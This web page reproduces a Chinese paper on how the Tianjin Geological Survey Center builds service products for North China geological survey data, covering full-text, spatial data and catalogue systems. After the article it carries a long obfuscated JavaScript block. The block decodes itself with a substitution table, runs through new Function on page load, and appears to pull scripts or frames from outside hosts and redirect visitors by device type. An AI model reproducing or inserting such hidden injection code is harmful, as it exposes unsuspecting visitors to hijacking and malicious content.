华北地区地质调查资料服务产品开发思路及实现方法

2025年03月28日 11:40
有1个网友回答
网友(1):

周小希 张良军 李效广 杨齐青 于 华 郑锦娜 李 磊 王心华

(天津地质调查中心)

摘 要 为满足社会公众对地质调查资料的需求,进一步提升地质调查资料社会化服务水平,实现为社会提供全方位的华北地区地质调查资料数据服务。天津地质调查中心依托华北地区地质调查资料,建设开发华北地区地质调查资料信息服务产品,取得了一定的经验及效益。本文将介绍服务产品的开发思路及实现方法。

关键词 地质调查 资料 服务产品 服务系统 开发思路 方法

1 引言

地质资料成果社会化服务,是地质工作主动服务国家经济发展,为规划和建设提供基础地质资料与资源保障的重要体现。天津地质调查中心作为华北区域地质调查机构,承担着华北地区地质调查资料信息的服务工作。近年来,开发建设了地质资料全文服务系统、空间数据服务系统及地质调查资料服务平台,提升了华北地区地质资料社会化服务水平。今年,依托本辖区地质调查资料数据资源,主要利用上述三个服务系统,整合地质资料资源,开展华北重要经济区和城市群地质调查资料信息服务产品开发。

2 地质资料服务系统

产品开发主要依靠地质资料服务系统提供服务,首先介绍地质资料全文服务系统、空间数据服务系统及地质调查资料服务平台所提供的服务及实现的功能。

2.1 地质资料全文服务系统

地质资料全文在线发布服务系统,主要解决用户在网络环境下进行资料全文在线阅读,而不仅仅是资料的目录查询;用户可在系统中检索资料全文,授权用户可在线以电子书方式进行阅读,也可下载阅读。目前,已正式提供非涉密地质资料报告的在线全文阅读服务。系统既可以集成管理全文而不提供服务,也可以对授权用户提供不同权限的服务;用户访问权限设置方便灵活,在横向上,可对性质不同的用户群进行不同授权,如根据 IP 认证或口令认证方式对单位内部用户授权,也可以对单位之外的用户授权;纵向上,对同一单位的不同层面用户进行各自授权,如浏览某一类资料的编目、编目审核、元数据或全文发布等操作。

2.2 空间数据服务系统

空间数据服务系统,主要是将华北地区地质调查特色成果在网上进行发布,以提供空间地图服务为主,面向公众进行服务。针对华北地区的地质调查成果数据,特别是空间数据,按专业内容进行分类整理(如:地质资料、工作程度、地质专业类别),形成空间数据库,利用 ArcGIS 软件与大型数据库ORACLE 进行集中存储、统一维护与管理,将服务数据发布通过服务系统提供服务。系统可实现空间数据网络发布及管理;提供空间数据检索服务,可实现多种复杂查询,如多图层联合检索、单图层多字段检索、空间及属性联合检索功能;实现数据图表统计功能,以饼图、柱状图等形式表现数据的分布及走势;提供绘制测量服务,可实现用户在地图上自定义标绘;另外,还实现了要素识别、图层管理及地图交互操作等功能。系统界面如图 1 所示。

图 1 天津地质调查中心空间数据服务系统界面

2.3 地质调查资料服务平台

天津地质调查中心地质调查资料服务平台,主要提供华北地区成果地质调查资料案卷级目录及文件级目录的查询服务。其中,文件级目录内容主要包括:正文、附图、附件、附表、数据库、多媒体、审批类、资料清理登记、其他等十类内容。用户可通过主题查询、自定义查询、文件查询等多种方式,最快捷地搜索到所需要的成果地质资料,显示内容翔实丰富,涵盖案卷级和文件级档案的各项内容。

3 产品开发思路

开展重要经济区和城市群地质调查资料信息服务产品开发,将依托于上文所述的三个服务系统,在服务内容上围绕天津滨海新区、河北沿海地区、山东半岛蓝色经济区、中原城市群和冀中南城市群开展的地质调查项目,开展重要经济区和城市群地质调查资料产品开发。整合已有的地质调查资料,跟踪正在开展的相关项目,根据资料情况确定服务内容。产品整体将以服务网站形式展开服务,按照三种不同的服务方式提供产品服务,提供项目最新动态进展服务、非涉密地质资料全文服务、空间数据服务(空间目录数据库检索服务及地质调查空间数据服务);其中资料全文服务依托于中心地质资料全文服务系统,空间数据服务依托于中心空间数据服务系统。产品整体框架图见图 2。

根据地质调查项目的工作进展情况,分层次开展有针对性的产品服务开发。在天津滨海新区、河北沿海曹妃甸地区所开展的地调项目,开展时间较长并已经取得丰硕成果,项目资料及成果比较丰富。针对此类项目,可根据已有成果按照社会化服务相关要求及产品不同服务方式,转化为信息服务产品。对于山东蓝色半岛经济区、中原城市群及冀中南城市群地区近年才开展的项目,采取与项目组密切联系,跟踪项目进展,找准服务结合点,收集整理资料,根据成果资料开展相应的产品服务。

图 2 华北重要经济区和城市群地质调查资料信息服务产品框架图

4 产品实现方法

4.1 项目最新动态及进展服务实现

跟踪项目进展动态,将项目实施过程中取得的阶段性成果、项目为社会化服务开展的相关工作及时在网站上进行发布;技术上,主要利用 CMS 系统创建新闻栏目,将最新进展信息在网上发布。

4.2 非涉密资料全文服务实现

收集整理重要经济区和城市群地质调查资料,通过专家指导、审阅,确定可用于发布的相关地质资料报告,去除报告中涉密及敏感内容;通过数据加工,将报告全文发布到天津地质调查中心地质资料全文网络服务平台。平台建设使用的成熟商业软件方正 Apabi 数字资源平台,工作流程分系统管理流程与数据加工流程两部分,该平台上操作技术方法如图 3 所示。

图 3 工作流程分系统管理流程与数据加工流程

4.3 空间数据服务实现

空间目录数据库检索服务,收集各重要经济区及城市群空间范围、相关项目资料目录及项目空间工作范围,利用 ArcGIS 软件建立华北地区重要经济区和城市群地质调查资料空间目录数据库,将空间目录数据库发布到华北地区地质调查空间数据服务系统向用户提供空间查询检索服务;空间数据查询检索服务。收集整理华北地区重要经济区和城市群地质调查资料可用于服务的空间数据,对数据进行加工处理,依托华北地区地质调查空间数据服务系统向用户提供华北重要经济区和城市群空间数据服务。空间数据服务系统开发技术采用 ArcGIS Flex API 类库和 ArcGIS Flex Viewer 开发框架,使用富客户端开发工具 FlashBuilder 进行开发。空间数据服务系统按照三层架构进行空间数据的集成与共享发布,分别为:底层—数据层,中间层—系统功能层,上层—服务接口层。数据层包括:基础数据层、应用数据层和辅助数据层,主要包括基础地理数据库、专题数据库、工作范围空间数据库、空间查询辅助数据库等。系统功能层,主要完成空间数据库管理、空间数据发布、数据分析模型库的发布及管理。服务接口层,通过开发面向用户使用的空间数据服务系统,通过系统中的属性检索、空间查询及地图通用操作等功能,直接为用户提供服务。

5 结语

华北地区地质资料服务产品的开发,采用了 ArcGIS web API、富客户端技术(RichClient)、REST等信息技术手段。通过产品开发建设,能将中心原有的各个资料服务系统进行整合,为用户提供一系列地质资料服务,提升华北地区地质资料的社会化服务水平。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();